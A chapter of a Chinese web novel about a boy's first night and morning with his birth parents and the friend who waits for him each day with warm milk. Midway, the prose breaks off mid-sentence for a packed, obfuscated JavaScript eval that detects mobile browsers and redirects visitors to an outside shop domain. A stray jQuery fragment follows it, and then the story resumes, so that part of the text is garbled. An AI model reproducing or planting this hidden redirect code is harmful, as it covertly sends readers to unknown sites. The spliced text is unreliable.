这一夜，苌斓没有睡好。
不是噩梦。那些梦他已经做了十六年，早就习惯了。今晚不一样。今晚他躺在一张陌生的床上，盖着陌生的被子，枕头上有一股淡淡的洗衣液的味道——不是他以前闻惯的那种劣质皂粉的碱味，是某种温和的、带一点花香的味道。
亲生母亲给他铺的床。她铺床的时候动作很慢，像是在做一件很重要的事。枕套套了两遍，第一遍套反了，她不好意思地笑了笑，拆下来重新套。被角掖得整整齐齐，床头柜上放了一杯温水。
“你小时候，”她站在门口，没有进来，手扶着门框，“刚出生那几天，特别小，我都不敢抱，怕把你抱坏了。”
她说完这句话，眼睛又红了，赶紧摆摆手说“晚安”，轻轻把门带上。
苌斓坐在床沿，看着那杯水。水已经不烫了，温温的，刚好能入口。他不知道她是怎么知道他习惯睡前喝温水的。也许是开庭前那三天里，她从哪里打听到的。也许是更早。也许是十六年里，她一直在打听所有关于他的事。
他躺下来，闭上眼睛。床很软，房间很安静。没有隔壁摔东西的声音，没有醉醺醺的咒骂，没有人会突然推门进来把他从被窝里拎起来。
太安静了。安静得他有些不习惯。他翻了个身，把被子拉到下巴。
手背上还残留着白天法庭上的温度。忘海的手背贴着他的手背，不动，不说话，就那样贴着。像是在说——我在这里。
苌斓把脸埋进枕头里，闷闷地骂了一声：“……笨蛋。”
不知道在骂谁。
第二天清晨，闹钟还没响，苌斓就醒了。厨房里有轻微的响动。锅铲碰铁锅的声音，很轻，怕吵醒谁似的。他换好校服，推开门。亲生父亲站在厨房里，围着一条崭新的围裙，正在煎蛋。
看到苌斓，他微微愣了一下，然后朝餐桌方向抬了抬下巴：“坐。马上好。”
他的语气很平常，没有刻意的热情。只是“坐，马上好”。好像苌斓不是失散了十六年刚回家的孩子，只是一个普通的高中生，要在上学前吃一顿普通的早饭。
苌斓在餐桌前坐下。桌上已经摆了一杯热牛奶。
他看着那杯牛奶，想起保温壶，想起梧桐树下的人影，想起那句“明天早上校门口等你”。
亲生父亲把煎蛋和吐司端上来，坐在他对面。他没有盯着苌斓看，只是拿起自己的那份吐司，慢慢吃。吃了几口，才开口，声音低沉平稳：“你妈昨晚没睡好，我让她多睡一会儿。她这十六年，没睡过几个整觉。”
他没有说“你要体谅她”，没有说“她很想你”。他只是陈述了一个事实。苌斓嗯了一声，低头咬了一口吐司。吐司烤得刚好，边缘脆，中间软。煎蛋是溏心的，筷子戳开，蛋黄慢慢流出来。
他忘了上一次在安静的餐桌上吃一顿热的早饭是什么时候。也许是亲生父母还没出车祸的那段日子。太远了，远得他几乎记不清。
吃完饭，亲生父亲起身收拾碗筷。苌斓背上书包，走到玄关换鞋。
“小斓。”
他回过头。亲生父亲站在厨房门口，围裙还没解，手里拿着锅铲。他好像想说什么，停顿了片刻，最后只是说：“放学回来吃饭。”
苌斓看着他。这个两鬓花白的男人站在那里，背挺得很直，握锅铲的姿势像是在握什么重要的东西。他没有说“爸爸等你回来”，他说的是“放学回来吃饭”。这句话太普通了，普通得像是每天都在说的话。
苌斓垂下眼，轻轻点了一下头。
走出家门的时候，晨光正好。梧桐道上的落叶被扫成一堆一堆的，空气里有秋天清晨特有的清冽。他走了几步，脚步比平时快。走到校门口的时候，他远远就看见了那棵梧桐树。
树下站着一个人。
忘海穿着洗得干干净净的校服，书包背在一边肩膀上。怀里揣着一个保温壶。他看到苌斓，依旧没有挥手，没有喊名字，只是微微抬了抬下巴。
苌斓走过去。忘海把保温壶递给他。拧开壶盖，热气涌出来。还是热牛奶，加了一点蜂蜜。和之前每一天都一样。
“来很久了？”
“刚到。”
苌斓抿了一口牛奶，没有戳穿他。他注意到忘海的鞋面上有一层薄薄的灰——那是站在校门口等了很久才会沾上的。他没有说破，只是把壶盖拧好，说了句“走了”。
两人并肩穿过校门。梧桐道上的学生渐渐多起来。走到高二教学楼门口，苌斓停下来。忘海也停下来。
“到了。”
“嗯。”
苌斓拎着保温壶站了片刻。他想起昨晚那杯床头柜上的温水，想起今早餐桌上那杯热牛奶。又低头看了看手里这个磕碰了一点的保温壶。
三杯。一晚上加一个早晨，他收到了三杯。
“忘海。”
忘海正要转身，听到自己的名字，脚步顿住。
苌斓没有看他。他看着教学楼玻璃门上倒映的梧桐树影，声音很轻：“我亲生爸妈……给我做了早饭。”
忘海安静地听着。
“煎蛋是溏心的，”苌斓说，“吐司烤得刚好。桌上放了热牛奶。”他顿了顿，“床头也放了一杯。”
忘海没有说话。他知道苌斓说这些不是在分享，而是在消化。在试着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724365|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把这些陌生的、温暖的碎片拼进自己十六年全是裂痕的生命里。
“我不知道……”苌斓的声音轻得几乎听不见，“我不知道怎么跟他们说话。她昨晚说，我刚出生的时候特别小，她都不敢抱我。我不知道该回什么。我连‘妈’都叫不出口。”
忘海看着他垂下的眼睫，看着他攥紧保温壶的手指。
“慢慢来。”
苌斓抬起眼。
忘海的语气很平常，像是在说一件很确定的事：“十六年不是一天就能补回来的。你不需要一个晚上就学会怎么被爱。”
苌斓怔怔地看着他。
被爱。这个词对他来说太陌生了。他一直以为自己在努力逃离痛苦，却从来没有想过，逃离之后要去往哪里。
忘海看着他茫然的眼神，心底软得一塌糊涂。他上前半步，和他并肩站在教学楼门口，一起看着玻璃门上倒映的两道影子。一道清瘦笔直，一道安静温和。
“你不用急着回应他们，”忘海说，“也不用急着回应任何人。你只需要慢慢习惯——习惯有人给你做早饭，习惯有人在你床头放水，习惯有人对你好。”
他侧过头，望向苌斓的侧脸：“习惯有人在每天早上等你。”
苌斓的睫毛轻轻颤了一下。他看着玻璃门里的自己，又看着玻璃门里站在自己身旁的那道影子。他说：“这很难。”
“我知道，”忘海说，“但你有时间。很多很多时间。”
苌斓沉默了很久。晨风吹过来，梧桐叶在头顶簌簌响着。
“……你呢。”他的声音很轻，轻得像是在问自己。
“我什么？”
苌斓攥紧保温壶，没有继续说下去。他想问的是——你呢，你会等多久。但他不敢问。他怕答案太短，短得让他来不及抓住。又怕答案太长，长得让他不知道该怎么回报。
他最终只是偏过头，恢复了惯有的别扭语气：“没什么。我要上课了，你走吧。”
忘海看着他泛红的耳尖，没有追问。“中午见。”
苌斓推开玻璃门，走了两步，忽然停下来。他没有回头，只是背对着忘海，声音压得很低：“煎蛋是溏心的。”
忘海站在原地，安静地听着。
苌斓站在那里，脊背挺直，声音很轻：“……很好吃。”
说完，他快步走进了教学楼，没有回头。
忘海望着那道清瘦的背影消失在楼道里，低头轻轻笑了一下。他转身往高一楼走，脚步轻快。晨光铺满整条梧桐道，落在他肩头，落在他手里那只空了的保温壶上。
明天还要热牛奶。以后每一天，都要热牛奶。